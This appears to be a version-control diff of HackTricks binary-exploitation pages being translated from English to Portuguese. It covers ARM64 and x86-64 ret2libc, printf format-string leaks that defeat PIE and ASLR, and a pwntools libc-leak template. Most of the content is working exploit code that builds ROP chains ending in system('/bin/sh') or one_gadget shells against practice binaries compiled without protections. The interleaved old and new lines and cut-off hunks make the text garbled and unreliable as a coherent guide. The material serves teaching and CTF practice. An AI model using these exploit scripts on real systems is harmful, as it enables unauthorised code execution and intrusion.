If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
Do [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspirado pelo [OneGadget](https://github.com/david942j/one_gadget), esta ferramenta é escrita em python e usa [angr](https://github.com/angr/angr) para testar restrições para gadgets executando `execve('/bin/sh', NULL, NULL)`\
Se você ficou sem gadgets para tentar do OneGadget, Angry Gadget oferece muito mais com restrições complicadas para tentar!
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,65 +2,58 @@
{{#include ../../../banners/hacktricks-training.md}}
## Ret2lib - NX bypass with ROP (no ASLR)
## Ret2lib - Bypass NX com ROP (sem ASLR)
```c
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile without canary:
Compile sem canário:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
### Encontrar offset
### Find offset
### offset x30
### x30 offset
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
Criando um padrão com **`pattern create 200`**, usando-o e verificando o offset com **`pattern search $x30`**, podemos ver que o offset é **`108`** (0x6c).
<figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
Dando uma olhada na função main desmontada, podemos ver que gostaríamos de **pular** para a instrução que pula para **`printf`** diretamente, cujo offset de onde o binário é carregado é **`0x860`**:
<figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure>
### Find system and `/bin/sh` string
### Encontrar a string do sistema e `/bin/sh`
As the ASLR is disabled, the addresses are going to be always the same:
Como o ASLR está desativado, os endereços vão ser sempre os mesmos:
<figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure>
### Find Gadgets
### Encontrar Gadgets
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper an interesting gadget was found:
Precisamos ter em **`x0`** o endereço da string **`/bin/sh`** e chamar **`system`**.
Usando rooper, um gadget interessante foi encontrado:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
Este gadget carregará `x0` de **`$sp + 0x18`** e então carregará os endereços x29 e x30 de sp e saltará para x30. Assim, com este gadget, podemos **controlar o primeiro argumento e então saltar para system**.
### Exploit
```python
from pwn import *
from time import sleep
@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
@ -90,80 +83,72 @@ p.sendline(payload)
p.interactive()
p.close()
```
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
## Ret2lib - Bypass de NX, ASL e PIE com vazamentos de printf da pilha
```c
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile **without canary**:
Compile **sem canário**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
### PIE e ASLR mas sem canário
### PIE and ASLR but no canary
- Rodada 1:
- Vazamento de PIE da pilha
- Abusar do bof para voltar ao main
- Rodada 2:
- Vazamento de libc da pilha
- ROP: ret2system
- Round 1:
- Leak of PIE from stack
- Abuse bof to go back to main
- Round 2:
- Leak of libc from the stack
- ROP: ret2system
### Vazamentos do Printf
### Printf leaks
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
Definindo um ponto de interrupção antes de chamar printf, é possível ver que há endereços para retornar ao binário na pilha e também endereços da libc:
<figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
Tentando diferentes offsets, o **`%21$p`** pode vazar um endereço binário (bypass de PIE) e **`%25$p`** pode vazar um endereço da libc:
<figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
Subtraindo o endereço da libc vazado com o endereço base da libc, é possível ver que o **offset** do **endereço vazado em relação à base é `0x49c40`.**
### x30 offset
### offset x30
See the previous example as the bof is the same.
Veja o exemplo anterior, pois o bof é o mesmo.
### Find Gadgets
### Encontrar Gadgets
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper another interesting gadget was found:
Como no exemplo anterior, precisamos ter em **`x0`** o endereço da string **`/bin/sh`** e chamar **`system`**.
Usando rooper, outro gadget interessante foi encontrado:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
Este gadget carregará `x0` de **`$sp + 0x78`** e então carregará os endereços x29 e x30 de sp e saltará para x30. Assim, com este gadget, podemos **controlar o primeiro argumento e então saltar para system**.
### Exploit
```python
from pwn import *
from time import sleep
@ -172,15 +157,15 @@ p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
@ -213,5 +198,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,84 +1,77 @@
# Leaking libc address with ROP
# Vazando endereço da libc com ROP
{{#include ../../../../banners/hacktricks-training.md}}
## Quick Resume
## Resumo Rápido
1. **Find** overflow **offset**
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
4. With the library, **calculate the ROP and exploit it**
1. **Encontrar** o **offset** de overflow
2. **Encontrar** o gadget `POP_RDI`, os gadgets `PUTS_PLT` e `MAIN`
3. Usar os gadgets anteriores para **vazar o endereço de memória** de puts ou outra função da libc e **encontrar a versão da libc** ([donwload it](https://libc.blukat.me))
4. Com a biblioteca, **calcular o ROP e explorá-lo**
## Other tutorials and binaries to practice
## Outros tutoriais e binários para praticar
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
Este tutorial vai explorar o código/binário proposto neste tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Outros tutoriais úteis: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## Code
Filename: `vuln.c`
## Código
Nome do arquivo: `vuln.c`
```c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - Modelo de vazamento de LIBC
## ROP - Leaking LIBC template
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
Baixe o exploit e coloque-o no mesmo diretório que o binário vulnerável e forneça os dados necessários para o script:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## 1- Finding the offset
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
## 1- Encontrando o offset
O modelo precisa de um offset antes de continuar com o exploit. Se algum for fornecido, ele executará o código necessário para encontrá-lo (por padrão `OFFSET = ""`):
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
**Execute** `python template.py` um console GDB será aberto com o programa sendo encerrado. Dentro desse **console GDB** execute `x/wx $rsp` para obter os **bytes** que iriam sobrescrever o RIP. Finalmente, obtenha o **offset** usando um console **python**:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../images/image (1007).png>)
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
Após encontrar o offset (neste caso 40), altere a variável OFFSET dentro do template usando esse valor.\
`OFFSET = "A" * 40`
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
Outra maneira seria usar: `pattern create 1000` -- _execute até ret_ -- `pattern seach $rsp` do GEF.
## 2- Finding Gadgets
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
## 2- Encontrando Gadgets
Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar `puts` para encontrar a **libc** sendo usada e, posteriormente, para **lançar o exploit final**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
O `PUTS_PLT` é necessário para chamar a **função puts**.\
O `MAIN_PLT` é necessário para chamar a **função main** novamente após uma interação para **explorar** o overflow **novamente** (rodadas infinitas de exploração). **É usado no final de cada ROP para chamar o programa novamente**.\
O **POP_RDI** é necessário para **passar** um **parâmetro** para a função chamada.
The `PUTS_PLT` is needed to call the **function puts**.\
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
The **POP_RDI** is needed to **pass** a **parameter** to the called function.
Nesta etapa, você não precisa executar nada, pois tudo será encontrado pelo pwntools durante a execução.
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
## 3- Finding libc library
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
## 3- Encontrando a biblioteca libc
Agora é hora de descobrir qual versão da **biblioteca libc** está sendo usada. Para isso, vamos **vazar** o **endereço** na memória da **função** `puts` e então vamos **procurar** em qual **versão da biblioteca** a versão do puts está nesse endereço.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
To do so, the most important line of the executed code is:
Para fazer isso, a linha mais importante do código executado é:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Isso enviará alguns bytes até que a **sobrescrita** do **RIP** seja possível: `OFFSET`.\
Em seguida, definirá o **endereço** do gadget `POP_RDI` para que o próximo endereço (`FUNC_GOT`) seja salvo no registro **RDI**. Isso ocorre porque queremos **chamar puts** **passando** o **endereço** do `PUTS_GOT`, já que o endereço na memória da função puts é salvo no endereço apontado por `PUTS_GOT`.\
Depois disso, `PUTS_PLT` será chamado (com `PUTS_GOT` dentro do **RDI**) para que puts **leia o conteúdo** dentro de `PUTS_GOT` (**o endereço da função puts na memória**) e **imprima**.\
Finalmente, **a função main é chamada novamente** para que possamos explorar o overflow novamente.
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
Finally, **main function is called again** so we can exploit the overflow again.
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
Dessa forma, conseguimos **enganar a função puts** para **imprimir** o **endereço** na **memória** da função **puts** (que está dentro da biblioteca **libc**). Agora que temos esse endereço, podemos **procurar qual versão da libc está sendo usada**.
![](<../../../../images/image (1049).png>)
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
But, in a remote exploit case I will explain here how can you find it:
Como estamos **explorando** um binário **local**, **não é necessário** descobrir qual versão da **libc** está sendo usada (basta encontrar a biblioteca em `/lib/x86_64-linux-gnu/libc.so.6`).\
Mas, em um caso de exploit remoto, explicarei aqui como você pode encontrá-la:
### 3.1- Searching for libc version (1)
### 3.1- Procurando pela versão da libc (1)
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
It will also allow you to download the discovered version of **libc**
Você pode procurar qual biblioteca está sendo usada na página da web: [https://libc.blukat.me/](https://libc.blukat.me)\
Isso também permitirá que você baixe a versão descoberta da **libc**
![](<../../../../images/image (221).png>)
### 3.2- Searching for libc version (2)
### 3.2- Procurando pela versão da libc (2)
You can also do:
Você também pode fazer:
- `$ git clone https://github.com/niklasb/libc-database.git`
- `$ cd libc-database`
- `$ ./get`
This will take some time, be patient.\
For this to work we need:
Isso levará algum tempo, seja paciente.\
Para que isso funcione, precisamos:
- Libc symbol name: `puts`
- Leaked libc adddress: `0x7ff629878690`
We can figure out which **libc** that is most likely used.
- Nome do símbolo da libc: `puts`
- Endereço da libc vazado: `0x7ff629878690`
Podemos descobrir qual **libc** provavelmente está sendo usada.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
Obtemos 2 correspondências (você deve tentar a segunda se a primeira não estiver funcionando). Baixe a primeira:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
Copie a libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` para o nosso diretório de trabalho.
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
### 3.3- Other functions to leak
### 3.3- Outras funções para vazar
```python
puts
printf
@ -198,28 +181,24 @@ __libc_start_main
read
gets
```
## 4- Encontrando o endereço da libc baseado e explorando
## 4- Finding based libc address & exploiting
Neste ponto, devemos saber qual a biblioteca libc utilizada. Como estamos explorando um binário local, usarei apenas: `/lib/x86_64-linux-gnu/libc.so.6`
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
Então, no início de `template.py`, mude a variável **libc** para: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Defina o caminho da biblioteca quando souber`
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
Inside the `get_addr`function the **base address of libc** is going to be calculated:
Dando o **caminho** para a **biblioteca libc**, o restante do **exploit será calculado automaticamente**.
Dentro da função `get_addr`, o **endereço base da libc** será calculado:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
> Note que **o endereço base final da libc deve terminar em 00**. Se esse não for o seu caso, você pode ter vazado uma biblioteca incorreta.
Então, o endereço da função `system` e o **endereço** da string _"/bin/sh"_ serão **calculados** a partir do **endereço base** da **libc** e dada a **biblioteca libc.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Finally, the /bin/sh execution exploit is going to be prepared sent:
Finalmente, a exploração da execução de /bin/sh será preparada e enviada:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -240,65 +217,56 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
Vamos explicar este ROP final.\
O último ROP (`rop1`) terminou chamando novamente a função main, então podemos **explorar novamente** o **overflow** (é por isso que o `OFFSET` está aqui novamente). Então, queremos chamar `POP_RDI` apontando para o **endereço** de _"/bin/sh"_ (`BINSH`) e chamar a função **system** (`SYSTEM`) porque o endereço de _"/bin/sh"_ será passado como um parâmetro.\
Finalmente, o **endereço da função exit** é **chamado** para que o processo **saia de forma adequada** e nenhum alerta seja gerado.
Let's explain this final ROP.\
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
**Dessa forma, o exploit executará um \_/bin/sh**\_\*\* shell.\*\*
![](<../../../../images/image (165).png>)
## 4(2)- Using ONE_GADGET
## 4(2)- Usando ONE_GADGET
You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
Você também pode usar [**ONE_GADGET** ](https://github.com/david942j/one_gadget) para obter um shell em vez de usar **system** e **"/bin/sh". ONE_GADGET** encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um **endereço ROP**.\
No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada.
![](<../../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## ARQUIVO DE EXPLOIT
## EXPLOIT FILE
You can find a template to exploit this vulnerability here:
Você pode encontrar um modelo para explorar essa vulnerabilidade aqui:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## Common problems
## Problemas comuns
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist. Then you can find where is the main code:
### MAIN_PLT = elf.symbols\['main'] não encontrado
Se o símbolo "main" não existir. Então você pode encontrar onde está o código principal:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
e defina o endereço manualmente:
```python
MAIN_PLT = 0x401080
```
### Puts não encontrado
### Puts not found
Se o binário não estiver usando Puts, você deve verificar se está usando
If the binary is not using Puts you should check if it is using
### `sh: 1: %s%s%s%s%s%s%s%s: não encontrado`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
Se você encontrar este **erro** após criar **todo** o exploit: `sh: 1: %s%s%s%s%s%s%s%s: não encontrado`
Tente **subtrair 64 bytes do endereço de "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,6 @@
# Leaking libc - template
# Vazamento de libc - modelo
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```python:template.py
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL:
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
OFFSET = b"" #b"A"*264
if OFFSET == b"":
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
@ -69,11 +64,11 @@ if OFFSET == b"":
### Find Gadgets ###
####################
try:
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
########################
def generate_payload_aligned(rop):
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# If not LIBC yet, stop here
else:
